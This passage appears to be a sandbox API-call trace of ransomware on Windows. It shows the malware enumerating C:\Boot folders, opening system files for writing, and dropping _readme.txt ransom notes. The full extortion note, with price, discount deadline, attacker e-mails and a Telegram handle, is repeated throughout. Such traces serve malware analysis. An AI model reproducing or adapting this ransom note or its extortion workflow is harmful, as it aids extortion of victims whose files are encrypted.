to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.852] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.852] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.852] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.852] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.852] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.852] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.852] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.852] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.852] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.852] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned=".mui" [0124.852] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.852] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.852] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.852] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.853] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.853] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.853] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.853] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.853] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.853] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.853] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.853] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.853] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.853] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.853] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.853] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.853] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.853] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.853] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.853] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.853] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.853] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.855] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.855] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.855] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.855] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.855] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.855] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.855] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.855] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.855] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.855] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.855] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.855] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.855] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.855] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.855] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.857] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.857] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.857] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0124.857] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.857] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.857] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.857] PathFindFileNameW (pszPath="") returned="" [0124.857] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.857] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.857] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.857] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.857] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.857] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e9368 [0124.857] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.857] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.857] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0124.857] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.857] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0124.858] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.858] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can 